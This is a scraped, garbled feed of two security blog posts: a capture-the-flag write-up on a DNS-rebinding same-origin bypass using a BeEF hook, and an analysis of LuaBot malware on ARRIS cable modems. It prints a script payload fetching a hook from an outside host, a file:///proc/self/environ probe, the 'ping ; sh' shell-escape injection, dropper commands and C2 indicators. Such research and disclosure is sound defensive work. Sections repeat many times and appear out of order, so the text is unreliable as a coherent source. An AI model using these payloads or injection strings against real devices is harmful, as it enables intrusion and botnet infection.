Unfortunately, the server was rejecting special chars like spaces (%20 and +) and there was no command injection signal. Our evil plan to input --disable-web-security $URL to disable Chrome's SOP didn't work so we had to find new ways to retrieve the secrets.
We also thought about using data:uri and file schemes to load a malicious script/webpage, but it wouldn't help us to bypass the SOP. We tried to input URL's like <html><script/**/src='http://www.example.com:8000/hook.js'></script></html> and file:///proc/self/environ (setting custom headers with a malicious HTML), but that is also known not to work on modern browsers.
DNS Rebinding
After some discussion, we came to the conclusion that we needed to perform a DNS Rebinding attack. devttys0 presented about this class of vulnerabilities at DEFCON 18 and @mikispag recently wrote a detailed post describing how to use DNS rebinding to steal WiFi passwords.
DNS rebinding is a technique that can be used to perform a breach of same-origin restrictions, enabling a malicious website to interact with a different domain. The possibility of this attack arises because the segregations in the SOP are based primarily on domain name and port, whereas the ultimate delivery of HTTP requests involves converting domain names into IP addresses.
We had some issues at first because we tried to use the free DNS service from DuckDNS and it was very glitchy. For some obscure reason, we were unable to hook the user's browser when using the service.
In order to make our life miserable, the challenge monkey would browse the site for two minutes only: we also could't use the DNS services from Namecheap because the minimum TTL time is 60 seconds.
Attack Phase
After deciding to set up the DNS server on our own, we came with the following attack scenario:
1) User visits the beef hook page at http://ctf.example.com:8080 (IP 1.2.3.4).
2) Webpage will load BeEF javascript hook and his browser will become a zombie.
3) We perform a DNS Rebind to change the A Record from 1.2.3.4 to 127.0.0.1. @danilonc set the BIND Zone file with a low TTL (1 sec) and replaced the answer (lines 14-15) as soon as the browser got hooked.
4) Perform a CORS request using BeeF's "Test CORS Request" module.
Here's a small diagram of the attack:
After a couple of tries we finally managed to get the flag:
Flag: 0ctf{monkey_likes_banananananananaaaa}
I found the Web task "Monkey" particularly interesting: I solved it with the help from my friend @danilonc, but it took way longer than it should because of some **Spoiler Alert** DNS glitches. According to the scoreboard status, approximately 35 teams were able to solve it.
Task: Monkey (Web - 4pts)
What is Same Origin Policy?
you can test this problem on your local machine
http://202.120.7.200
you can test this problem on your local machine
http://202.120.7.200
The running application receives a Proof-of-Work string and an arbitrary URL, instructing a "monkey" to browse the inputted URL for 2 minutes.
Proof-of-Work
Solving the proof-of-work is pretty straightforward. We had to generate random strings and compare the first 6 chars from its MD5 against the challenge. The POW challenge was more cpu-intensive than normal, so the traditional bash/python one-liner ctf scripts would require some performance improvements.
@danilonc had written a quick hack using Go to bruteforce and solve POW from older CTF challs, so we just slightly modified it:
Solving the Proof-of-Work:
Same-Origin-Policy and CORS
The Same-Origin-Policy (SOP) deems pages having the same URI scheme, hostname and port as residing at the same-origin. If any of these three attributes varies, the resource is in a different origin. Hence, if provided resources come from the same hostname, scheme and port, they can interact without restriction.
If you try to use an XMLHttpRequest to send a request to a different origin, you can’t read the response. However, the request will still arrive at its destination. This policy prevents a malicious script on one page from obtaining access to sensitive data (both the header and the body) on another web page, on a different origin.
For this particular CTF challenge, if the secret internal webpage had had an insecure CORS header like "Access-Control-Allow-Origin: *", we would be able to retrieve its data with no effort. This, of course, was not the case.
Bypassing the Same-Origin
The flag was accessible on an internal webserver hosted at http://127.0.0.1:8080/secret. The first thing we did was hooking the monkey's browser using BeEF, so we could fingerprint his device, platform, plugins and components.
There was nothing interesting here, a custom user-agent and no known vulnerable component. We enumerated the chars accepted by the server with the following script:
Unfortunately, the server was rejecting special chars like spaces (%20 and +) and there was no command injection signal. Our evil plan to input --disable-web-security $URL to disable Chrome's SOP didn't work so we had to find new ways to retrieve the secrets.
We also thought about using data:uri and file schemes to load a malicious script/webpage, but it wouldn't help us to bypass the SOP. We tried to input URL's like <html><script/**/src='http://www.example.com:8000/hook.js'></script></html> and file:///proc/self/environ (setting custom headers with a malicious HTML), but that is also known not to work on modern browsers.
DNS Rebinding
After some discussion, we came to the conclusion that we needed to perform a DNS Rebinding attack. devttys0 presented about this class of vulnerabilities at DEFCON 18 and @mikispag recently wrote a detailed post describing how to use DNS rebinding to steal WiFi passwords.
DNS rebinding is a technique that can be used to perform a breach of same-origin restrictions, enabling a malicious website to interact with a different domain. The possibility of this attack arises because the segregations in the SOP are based primarily on domain name and port, whereas the ultimate delivery of HTTP requests involves converting domain names into IP addresses.
We had some issues at first because we tried to use the free DNS service from DuckDNS and it was very glitchy. For some obscure reason, we were unable to hook the user's browser when using the service.
In order to make our life miserable, the challenge monkey would browse the site for two minutes only: we also could't use the DNS services from Namecheap because the minimum TTL time is 60 seconds.
Attack Phase
After deciding to set up the DNS server on our own, we came with the following attack scenario:
1) User visits the beef hook page at http://ctf.example.com:8080 (IP 1.2.3.4).
2) Webpage will load BeEF javascript hook and his browser will become a zombie.
3) We perform a DNS Rebind to change the A Record from 1.2.3.4 to 127.0.0.1. @danilonc set the BIND Zone file with a low TTL (1 sec) and replaced the answer (lines 14-15) as soon as the browser got hooked.
4) Perform a CORS request using BeeF's "Test CORS Request" module.
Here's a small diagram of the attack:
After a couple of tries we finally managed to get the flag:
Flag: 0ctf{monkey_likes_banananananananaaaa}
↧
LuaBot: Malware targeting cable modems
During mid-2015 I disclosed some vulnerabilities affecting multiple ARRIS cable modems. I wrote a blogpost about ARRIS' nested backdoor and detailed some of my cable modem research during the 2015 edition from NullByte Security Conference.
CERT/CC released the Vulnerability Note VU#419568 and it got lotsofmediacoverage. I did not provide any POC's during that time because I was pretty sure that those vulnerabilities were easily wormable... And guess what? Someone is actively exploiting those devices since May/2016.
The ARMEL version from the LuaBot Malware was dissected on a blogpost from Malware Must Die, but this specific ARMEB was still unknown/undetected for the time being. The malware was initially sent to VirusTotal on 2016-05-26 and it still has a 0/0 detection rate.
The other binary, .sox (4b8c0ec8b36c6bf679b3afcc6f54442a), sets the device's DNS servers to 8.8.8.8 and 8.8.4.4 and provides multiple tunneling functionalities including SOCKS/proxy, DNS and IPv6.
Parts of the code resembles some shadowsocks-libev functionalities and there's an interesting reference to the whrq[.]net domain, which seems to be used as a dnscrypt gateway:
All these binaries are used as auxiliary tools for the LuaBot's final stage, arm_puma5 (061b03f8911c41ad18f417223840bce0), which seems to be selectively installed on vulnerable cable modems.
UPDATE: According to this interview with the supposed malware author, "reversers usually get it wrong and say there’s some modules for my bot, but those actually are other bots, some routers are infected with several bots at once. My bot never had any binary modules and always is one big elf file and sometimes only small <1kb size dropper"
In order to understand how the malware works, let's mix some manual and dynamic analysis. Time to analyse the binary using IDA Pro and...
The binaries are stripped and IDA Pro's F.L.I.R.T. didn't recognize standard function calls for our ARMEB binary. Instead of spending hours manually reviewing the code, we can use @matalaz's diaphora diffing plugin to port all the symbols.
First, we need to export the symbols from uClibC's Puma5 toolchain. Download the prebuilt toolchain here and open the library "armeb-linux\ti-puma5\lib\libuClibc-0.9.29.so" using IDA Pro. Choose File/Script File (Alt+F7), load diaphora.py, select a location to Export IDA Database to SQLite, mark "Export only non-IDA generated functions" and hit OK.
When it finishes, close the current IDA database and open the binary arm_puma5. Rerun the diaphora.py script and now choose a SQLite database to diff against:
After a while, it will show various tabs with all the unmatched functions in both databases, as well as the "Best", "Partial" and "Unreliable" matches tabs.
Browse the "Best matches" tab, right click on the list and select "Import *all* functions" and choose not to relaunch the diffing process when it finishes. Now head to the "Partial matches" tab, delete everything with a low ratio (I removed everything below 0.8), right click in the list and select "Import all data for sub_* function":
The IDA strings window display lots of information related to the Lua scripting language. For this reason, I also cross-compiled Lua to ARMEB, loaded the "lua" binary into IDA Pro and repeated the diffing process with diaphora:
We're almost done now. If you google for some debug messages present on the code, you can find a deleted Pastebin that was cached by Google.
I downloaded the C code (evsocketlib.c), created some dummy structs for everything that wasn't included there and cross-compiled it to ARMEB too. And now what? Diffing again =)
Reversing the malware is way more legible now. There's builtin Lua interpreter and some native code related to event sockets. The list of the botnet commands is stored at 0x8274: bot_daemonize, rsa_verify, sha1, fork, exec, wait_pid, pipe, evsocket, ed25519, dnsparser, struct, lpeg, evserver, evtimer and lfs:
The bot starts by setting up the Lua environment, unpacks the code and then forks, waiting for instructions from the Command and Control server. The malware author packed the lua source code as a GZIP blob, making the entire reversing job easier for us, as we don't have to deal with Lua Bytecode.
The blob at 0xA40B8 contains a standard GZ header with the last modified timestamp from 2016-04-18 17:35:34:
Another easy way to unpack the lua code is to attach the binary to your favorite debugger (gef, of course) and dump the process memory (heap).
First, copy gdbserver to the cable modem, run the malware (arm_puma5) and attach the debugger to the corresponding PID:
Then, start gef/GDB and attach it to the running server:
Lastly, list the memory regions and dump the heap:
The LuaBot source code is composed of several modules:
The bot settings, including the DNS recurser and the CnC settings are hardcoded:
The code is really well documented and it includes proxy checking functions and a masscan log parser:
Bot author is seeding random with /dev/urandom (crypgtographers rejoice):
LuaBot integrates an embedded JavaScript engine and executes scripts signed with the author's RSA key:
Meterpreter is so 2000's, the V7 JavaScript interpreter is named shiterpreter:
There's a catchy function named checkanus.penetrate_sucuri, on what seems to be some sort of bypass for Sucuri's Denial of Service (DDoS) Protection:
LuaBot has its own lua resolver function for DNS queries:
Most of the bot capabilities are in line with the ones described on the Malware Must Die! blogpost. It's interesting to note that the IPs from the CnC server and iptables rules don't overlap, probably because they're using different environments for different bot families (or they were simply updated).
I did not analise the remote botnet structure, but the modular approach and the interoperability of the malware indicates that there's a professional and ongoing effort.
Conclusion
GCC Toolchains:
Dropper and CnC IPs:
IP Ranges whitelisted by the Attacker:
CERT/CC released the Vulnerability Note VU#419568 and it got lotsofmediacoverage. I did not provide any POC's during that time because I was pretty sure that those vulnerabilities were easily wormable... And guess what? Someone is actively exploiting those devices since May/2016.
The malware targets Puma 5 (ARM/Big Endian) cable modems, including the ARRIS TG862 family. The infection happens in multiple stages and the dropper is very similar to many common worm that targets embedded devices from multiple architectures. The final stage is an ARMEB version from the LuaBot Malware.
The ARMEL version from the LuaBot Malware was dissected on a blogpost from Malware Must Die, but this specific ARMEB was still unknown/undetected for the time being. The malware was initially sent to VirusTotal on 2016-05-26 and it still has a 0/0 detection rate.
Cable Modem Security and ARRIS Backdoors
Before we go any further, if you want to learn about cable modem security, grab the slides from my talk "Hacking Cable Modems: The Later Years". The talk covers many aspects of the technology used to manage cable modems, how the data is protected, how the ISPs upgrade the firmwares and so on.
Pay special attention to the slide #86:
I received some reports that malware creators are remotely exploiting those devices in order to dump the modem's configuration and steal private certificates. Some users also reported that those certificates are being sold for bitcoin to modem cloners all around the world. The report from Malware Must Die! also points that the LuaBot is being used for flooding/DDoS attacks.
Exploit and Initial Infection
Luabot malware is part of a bigger botnet targeting embedded devices from multiple architectures. After verifying some infected systems, I noticed that most cable modems were compromised by a command injection in the restricted CLI accessible via the ARRIS Password of The Day Backdoor.
Telnet honeypots like the one from nothink.org have been logging these exploit attempts for some time. They are logging many attempts to bruteforce the username "system" and the password "ping ; sh", but they're, in fact, commands used to escape from the restricted ARRIS telnet shell.
The initial dropper is created by echoing shell commands to the terminal to create a standard ARM ELF.
I have cross compiled and uploaded a few debugging tools to my cross-utils repository, including gdbserver, strace and tcpdump. I also happen to have a vulnerable ARRIS TG862 so I can perform dynamic analysis in a controlled environment.
If you run the dropper using strace to monitor the network syscalls, you can see the initial connection attempt:
The command is a simple download and exec ARMEB shellcode. The malicious IP 46.148.18.122 is known for bruteforcing SSH servers and trying to exploit Linksys router command injections in the wild. After downloading the second stage malware, the script will echo the following string:
This pattern is particularly interesting because it is quite similar to the one reported by ProtectWise while Observing Large-Scale Router Exploit Attempts:
The second stage binary ".nttpd" (MD5 c867d00e4ed65a4ae91ee65ee00271c7) performs some internal checks and creates iptables rules allowing remote access from very specific subnets and blocking external access to ports 8080, 80, 433, 23 and 22:
If you run the dropper using strace to monitor the network syscalls, you can see the initial connection attempt:
./strace -v -s 9999 -e poll,select,connect,recvfrom,sendto -o network.txt ./mw/drop
connect(6, {sa_family=AF_INET, sin_port=htons(4446), sin_addr=inet_addr("46.148.18.122")}, 16) = -1 ENODEV (No such device)
The command is a simple download and exec ARMEB shellcode. The malicious IP 46.148.18.122 is known for bruteforcing SSH servers and trying to exploit Linksys router command injections in the wild. After downloading the second stage malware, the script will echo the following string:
echo -e 61\\\\\\x30ck3r
This pattern is particularly interesting because it is quite similar to the one reported by ProtectWise while Observing Large-Scale Router Exploit Attempts:
cmd=cd /var/tmp && echo -ne \\x3610cker > 610cker.txt && cat 610cker.txt
The second stage binary ".nttpd" (MD5 c867d00e4ed65a4ae91ee65ee00271c7) performs some internal checks and creates iptables rules allowing remote access from very specific subnets and blocking external access to ports 8080, 80, 433, 23 and 22:
These rules block external exploit attempts to ARRIS services/backdoors, restricting access to networks controlled by the attacker.
After setting up the rules, two additional binaries were transferred/started by the attacker. The first one, .sox.rslv (889100a188a42369fd93e7010f7c654b) is a simple DNS query tool based on udns 0.4.
After setting up the rules, two additional binaries were transferred/started by the attacker. The first one, .sox.rslv (889100a188a42369fd93e7010f7c654b) is a simple DNS query tool based on udns 0.4.
The other binary, .sox (4b8c0ec8b36c6bf679b3afcc6f54442a), sets the device's DNS servers to 8.8.8.8 and 8.8.4.4 and provides multiple tunneling functionalities including SOCKS/proxy, DNS and IPv6.
Parts of the code resembles some shadowsocks-libev functionalities and there's an interesting reference to the whrq[.]net domain, which seems to be used as a dnscrypt gateway:
UPDATE: According to this interview with the supposed malware author, "reversers usually get it wrong and say there’s some modules for my bot, but those actually are other bots, some routers are infected with several bots at once. My bot never had any binary modules and always is one big elf file and sometimes only small <1kb size dropper"
Final Stage: LuaBot
The malware's final stage is a 716KB ARMEB ELF binary, statically linked, stripped and compiled using the same Puma5 toolchain as the one I made available on my cross-utils repository.
If we use strace to perform a dynamic analysis we can see the greetings from the bot's author and the creation of a mutex (bbot_mutex_202613). Then the bot will start listening on port 11833 (TCP) and will try to contact the command and control server at 80.87.205.92.
The malware's final stage is a 716KB ARMEB ELF binary, statically linked, stripped and compiled using the same Puma5 toolchain as the one I made available on my cross-utils repository.
If we use strace to perform a dynamic analysis we can see the greetings from the bot's author and the creation of a mutex (bbot_mutex_202613). Then the bot will start listening on port 11833 (TCP) and will try to contact the command and control server at 80.87.205.92.
In order to understand how the malware works, let's mix some manual and dynamic analysis. Time to analyse the binary using IDA Pro and...
![]() |
Reversing stripped binaries |
First, we need to export the symbols from uClibC's Puma5 toolchain. Download the prebuilt toolchain here and open the library "armeb-linux\ti-puma5\lib\libuClibc-0.9.29.so" using IDA Pro. Choose File/Script File (Alt+F7), load diaphora.py, select a location to Export IDA Database to SQLite, mark "Export only non-IDA generated functions" and hit OK.
When it finishes, close the current IDA database and open the binary arm_puma5. Rerun the diaphora.py script and now choose a SQLite database to diff against:
After a while, it will show various tabs with all the unmatched functions in both databases, as well as the "Best", "Partial" and "Unreliable" matches tabs.
Browse the "Best matches" tab, right click on the list and select "Import *all* functions" and choose not to relaunch the diffing process when it finishes. Now head to the "Partial matches" tab, delete everything with a low ratio (I removed everything below 0.8), right click in the list and select "Import all data for sub_* function":
The IDA strings window display lots of information related to the Lua scripting language. For this reason, I also cross-compiled Lua to ARMEB, loaded the "lua" binary into IDA Pro and repeated the diffing process with diaphora:
We're almost done now. If you google for some debug messages present on the code, you can find a deleted Pastebin that was cached by Google.
I downloaded the C code (evsocketlib.c), created some dummy structs for everything that wasn't included there and cross-compiled it to ARMEB too. And now what? Diffing again =)
Reversing the malware is way more legible now. There's builtin Lua interpreter and some native code related to event sockets. The list of the botnet commands is stored at 0x8274: bot_daemonize, rsa_verify, sha1, fork, exec, wait_pid, pipe, evsocket, ed25519, dnsparser, struct, lpeg, evserver, evtimer and lfs:
The bot starts by setting up the Lua environment, unpacks the code and then forks, waiting for instructions from the Command and Control server. The malware author packed the lua source code as a GZIP blob, making the entire reversing job easier for us, as we don't have to deal with Lua Bytecode.
The blob at 0xA40B8 contains a standard GZ header with the last modified timestamp from 2016-04-18 17:35:34:
Another easy way to unpack the lua code is to attach the binary to your favorite debugger (gef, of course) and dump the process memory (heap).
First, copy gdbserver to the cable modem, run the malware (arm_puma5) and attach the debugger to the corresponding PID:
./gdbserver --multi localhost:12345 --attach 1058
Then, start gef/GDB and attach it to the running server:
gdb-multiarch -q
set architecture arm
set endian big
set follow-fork-mode child
gef-remote 192.168.100.1:12345
set architecture arm
set endian big
set follow-fork-mode child
gef-remote 192.168.100.1:12345
vmmap
dump memory arm_puma5-heap.mem 0x000c3000 0x000df000
dump memory arm_puma5-heap.mem 0x000c3000 0x000df000
That's it, now you have the full source code from the LuaBot:
The bot settings, including the DNS recurser and the CnC settings are hardcoded:
The code is really well documented and it includes proxy checking functions and a masscan log parser:
Bot author is seeding random with /dev/urandom (crypgtographers rejoice):
LuaBot integrates an embedded JavaScript engine and executes scripts signed with the author's RSA key:
Meterpreter is so 2000's, the V7 JavaScript interpreter is named shiterpreter:
There's a catchy function named checkanus.penetrate_sucuri, on what seems to be some sort of bypass for Sucuri's Denial of Service (DDoS) Protection:
LuaBot has its own lua resolver function for DNS queries:
Most of the bot capabilities are in line with the ones described on the Malware Must Die! blogpost. It's interesting to note that the IPs from the CnC server and iptables rules don't overlap, probably because they're using different environments for different bot families (or they were simply updated).
I did not analise the remote botnet structure, but the modular approach and the interoperability of the malware indicates that there's a professional and ongoing effort.
Conclusion
The analysed malware doesn't have any persistence mechanism to survive reboots. It wouldn't try to reflash the firmware or modify volatile partitions (NVRAM for example), but the first stage payload restricts remote access to the device using custom iptables rules.
This is a quite interesting approach because they can quickly masscan the Internet and block external access to those IoT devices and selectively infect them using the final stage payloads.
On 2015, when I initially reported about the ARRIS backdoors, there were over 600.000 vulnerable ARRIS devices exposed on the Internet and 490.000 of them had telnet services enabled:
If we perform the same query nowadays (September/2016) we can see that the number of exposed devices was reduced to approximately 35.000:
I know that the media coverage and the security bulletins contributed to that, but I wonder how much of those devices were infected and had external access restricted by some sort of malware...
This is a quite interesting approach because they can quickly masscan the Internet and block external access to those IoT devices and selectively infect them using the final stage payloads.
On 2015, when I initially reported about the ARRIS backdoors, there were over 600.000 vulnerable ARRIS devices exposed on the Internet and 490.000 of them had telnet services enabled:
If we perform the same query nowadays (September/2016) we can see that the number of exposed devices was reduced to approximately 35.000:
I know that the media coverage and the security bulletins contributed to that, but I wonder how much of those devices were infected and had external access restricted by some sort of malware...
The high number of Linux devices with Internet-facing administrative interfaces, the use of proprietary Backdoors, the lack of firmware updates and the ease to craft IoT exploits make them easy targets for online criminals.
We need to find better ways to detect, block and contain this new trend. Approaches like the one from SENRIO can help ISPs and Enterprises to have a better visibility of their IoT ecosystems. Large scale firmware analysis can also contribute and provide a better understanding of the security issues for those devices.
IoT botnets are becoming a thing: manufacturers have to start building secure and reliable products, ISPs need to start shipping updated devices/firmwares and the final user has to keep his home devices patched/secured.
We need to find better ways to detect, block and contain this new trend. Approaches like the one from SENRIO can help ISPs and Enterprises to have a better visibility of their IoT ecosystems. Large scale firmware analysis can also contribute and provide a better understanding of the security issues for those devices.
Indicators of Compromise (IOCs)
LuaBot ARMEB Binaries:
LuaBot ARMEB Binaries:
- drop (5deb17c660de9d449675ab32048756ed)
- .nttpd (c867d00e4ed65a4ae91ee65ee00271c7)
- .sox (4b8c0ec8b36c6bf679b3afcc6f54442a)
- .sox.rslv (889100a188a42369fd93e7010f7c654b)
- .arm_puma5 (061b03f8911c41ad18f417223840bce0)
GCC Toolchains:
- GCC: (Buildroot 2015.02-git-00879-g9ff11e0) 4.8.4
- GCC: (GNU) 4.2.0 TI-Puma5 20100224
Dropper and CnC IPs:
- 46.148.18.122
- 80.87.205.92
- 46.148.18.0/24
- 185.56.30.0/24
- 217.79.182.0/24
- 85.114.135.0/24
- 95.213.143.0/24
- 185.53.8.0/24
↧